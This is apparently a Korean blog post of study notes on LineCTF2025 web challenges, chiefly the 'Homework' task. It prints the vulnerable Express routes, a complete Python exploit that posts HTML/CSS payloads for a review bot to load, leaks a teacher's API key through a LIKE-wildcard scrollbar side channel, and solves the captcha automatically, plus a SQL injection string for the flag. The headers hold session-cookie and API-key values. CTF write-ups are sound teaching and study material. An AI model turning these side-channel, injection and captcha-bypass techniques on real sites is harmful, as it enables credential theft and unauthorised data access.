본문 바로가기

LineCTF2025 공부

 

Yapper catcher

 

/yapper경로에서 &id= 내id값을 해주면

봇은 visit함수를 통해

await page.goto('/?user=anything&id=b00b4be736db0976181cd87bcb1ac274')와 같은 경로로 이동하여

 

코드와같이 Quote과정에서 문자열중 <flag>부분을 실제플래그로 바꿔서 textarea부분에 값을 쓰게된다.

즉 나의 게시판의 url 에 접속해 글을쓰게 만들면 성공

req.param('id')로 되어있기에 url에서 id값받게가능

 

 

Homework

첫번째단계 선생님의 api-key값획득하기

routes.get('/mark', checkAuthz([ROLES.TeachingAssistant, ROLES.Teacher]), async (req, res) => {
    try {
        let { id, score } = req.query;
        if (!id || !score || typeof id !== "string" || Number.isNaN(score)) return res.status(500).send("Invalid data");
        score = Number(score);
        if (score <= 0 || score > toDecoratedScore(100)) return res.status(500).send("Invalid data");
        await sequelize.models.homework.update({ score: score }, { where: { id: id } });
        return res.status(200).send("Score set successfully");
    } catch (err) {
        console.log(err);
        return res.status(500).send("Unknown error");
    }
});

mark 함수의 경우 선생님의 권한이 필요하고 임의의 숙제의 스코어값을 설정가능하다

 

routes.get('/avatar', checkAuthz([ROLES.TeachingAssistant, ROLES.Teacher]), async (req, res) => {
    try {
        let { c1, v1, c2, v2 } = req.query;
        if (!c1 || !v1 || !c2 || !v2)
            return res.status(500).send("Invalid data");
        if (typeof c1 !== "string" || typeof v1 !== "string" || typeof c2 !== "string" || typeof v2 !== "string")
            return res.status(500).send("Invalid data");
        let users = await sequelize.models.user.findAll({
            where: {
                [Op.and]: [
                    {
                        [c1]: {
                            [Op.like]: v1
                        }
                    },
                    {
                        [c2]: {
                            [Op.like]: v2
                        }
                    },
                    {
                        role: {
                            [Op.gt]: 0
                        }
                    }
                ]
            }
        });
        if (!users.length) return res.status(500).send("User not found");
        let avatar_id = users[0].avatar_id;
        if (Number.isInteger(avatar_id) && (0 <= avatar_id && avatar_id <= 2)) 
            return res.sendFile(`/avatars/${avatar_id}.png`, { root: __dirname + '/../' });
        return res.status(500).send("Invalid avatar");
    } catch (err) {
        console.log(err);
        return res.status(500).send("Unknown error");
    }
});

아바타의 인자값으로 쿼리를 조회해 해당 유저의 이미지를 뿌려준다. %같은 문자열이 차단이 안되기에 api-key가 5로시작한다면 5%로 조회시 성공적으로 조회가되어 이미지가 리턴될것이다.

이것을 이용해 사이드채널어택을 하는것이 문제다

여러방법이 있으나 그중 이미지가 로드되면 이미지자체를 크게만들고 5개의 의미지를 로드해서 스크롤바를 기준으로 판단하는 방식이다

이미지로드x->깨진이미지5개 스크롤바생성x

이미지로드o->큰 이미지 5개로 스크롤바 생성o

스크롤바가 생성되면 해당 값이 api-key값중 하나로 판단하여 점차 데이터를 얻어나가는방식으로 진행하면된다

import string
import time
import re
import requests
import sys
sys.path.append('SVG-Captcha-Solver-main')
from SVG_Captcha_Solver import SvgCaptchaSolver

founded = ""
scores = {}
base = "http://136.110.90.238:10001/"
test_id = "83eb28fb-f04e-45ec-9a7a-60f23c0d7b77"
current_score = 1337000
chrs = string.hexdigits

known = ""
IMG_REPEAT = 5
s = requests.Session()

headers = {
    'Accept': '*/*',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
    'Connection': 'keep-alive',
    'Content-Type': 'application/json',
    'Cookie': 'connect.sid=s%3AZiGd5xEdTwxSX1h8x8jqa8OcGJy1EnYZ.Zu2pmBejuCdLdM4j%2BqH%2Bc5PJnNv4s0TL0az9DYRDKaA',
    'Host': '136.110.90.238:10001',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36',
    'X-API-Key': '389b3972a75f234884fb'
}

json_headers = headers.copy()
json_headers['Content-Type'] = 'application/json'

urlencoded_headers = headers.copy()
urlencoded_headers['Content-Type'] = 'application/x-www-form-urlencoded'

while len(known) < 10:
    print("test")
    print(known)
    for c in chrs:
        current = known + c
        payload = f'''<img src='/api/homework/mark?id={test_id}&score={current_score + 1}'><style>.lol{{overflow: auto;height: 500px}} .lol::-webkit-scrollbar{{background: url('/api/homework/mark?id={test_id}&score={current_score + 2}')}}</style><div class='lol'>{f"<img src='/api/user/avatar?c1=username&v1=teacher&c2=api_key&v2={current}%25'><br>"*IMG_REPEAT}</div>'''

        while True:
            response = s.post(f"{base}/api/homework/create", json={
                "content": payload,
                "title": "bar"
            }, headers=headers)
            
            if "created successfully" in response.text:
                break
            
            retry_after = int(response.headers.get("retry-after", 5))
            time.sleep(retry_after)
        _id = re.findall(r"Homework (.+) created successfully", response.text)[0]
        print(_id)
        while True:
            r = s.get(base + "captcha")
            open("captcha.svg", "wb").write(r.content)
            captcha_val = SvgCaptchaSolver().solve_captcha("captcha.svg")
            print(captcha_val)
            r = s.post(base + "report", data={
                "id": _id,
                "captcha": str(captcha_val)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
            })
            if "Your homework will be reviewed soon" in r.text:
                print("hi")
                break
        time.sleep(20)
        
        while True:
            r = s.get(base + "api/homework/view",headers=headers, params={
                "id": test_id
            })
            print(r.json())
            score = r.json()["score"]
            
            if score != current_score and score != 1337000:
                break
            time.sleep(5)
        if score == current_score + 2:
            current_score += 2
            known = current
            print(known)
            break
    current_score += 1
    print("X " + current)

핵심페이로드이다.

첫번째이미지는 코드를 제대로짰는지 확인용으로 봇이 제대로읽었다면( page.setExtraHTTPHeaders() 로 api-key값이 있어서 src에도 헤더값에 apikey 가 포함된다.) 바로 score=1337001로 세팅될것이다.

이후 img 5개를 동일하게 위의 avatar에 요청을하여 api_key값이 조건에 맞는다면 style탭에서 설정해준 backgorund:url로 요청을 보내 score점수를 1337002로 세팅할것이다. 즉 1337002로 스코어가 설정됐을때 api_key값이 맞는것을 알수있고 이것을 이제 부르트포싱을 진행하면된다.

페이로드담은 과제 생성->봇한태요청->모니터링용 과제의점수를 확인 값이 증가됐으면 올바른 apikey로 판단하고 저장 및 다음 자릿수로 이동이 반복된다.

 

선생님의 api_key를 획득후 

 

')=1 UNION SELECT NULL,1,'',$$,1--

를 통해 플래그를 획득하면 끝

'' 카테고리의 다른 글

blackhat-mea 2025정리  (2) 2025.09.11
IERAE CTF 2025-web-풀이  (0) 2025.06.21
smileyCTF-web-공부  (1) 2025.06.19
smileyCTF-web-풀이  (1) 2025.06.14
N0PSctf-web-공부  (1) 2025.06.04